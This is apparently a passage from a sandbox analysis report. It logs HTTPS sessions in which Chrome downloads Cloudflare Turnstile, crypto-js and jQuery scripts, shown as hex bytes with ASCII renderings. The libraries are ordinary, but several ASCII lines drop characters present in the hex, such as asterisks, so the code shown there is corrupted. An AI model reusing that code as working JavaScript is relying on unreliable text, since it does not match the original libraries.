\|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-11 18:22:16 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	104.17.25.14	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:16 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:17 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:17 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 584 Expires: Mon, 01 Dec 2025 18:22:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sGR%2FJ10yuIuisM3lCkpr5TRuXVmwxsReQN6cD%2B2QF3ytldTIr8fvRHR4eGayBqwAauwUQgm5YUvT05eipTJVPYorNfo86o4vC2tYwESzbdZsLJ%2Bf9%2FEGoV10SrXh%2FObkaXIQDiFk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f077fccdec38c0b-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:17 UTC	410	IN	Data Raw: 37 62 66 32 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf2!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2024-12-11 18:22:17 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	151.101.194.137	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:16 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:17 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2462869 Date: Wed, 11 Dec 2024 18:22:17 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740023-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1733941337.183532,VS0,VE0 Vary: Accept-Encoding
2024-12-11 18:22:17 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-11 18:22:17 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-11 18:22:17 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-11 18:22:17 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
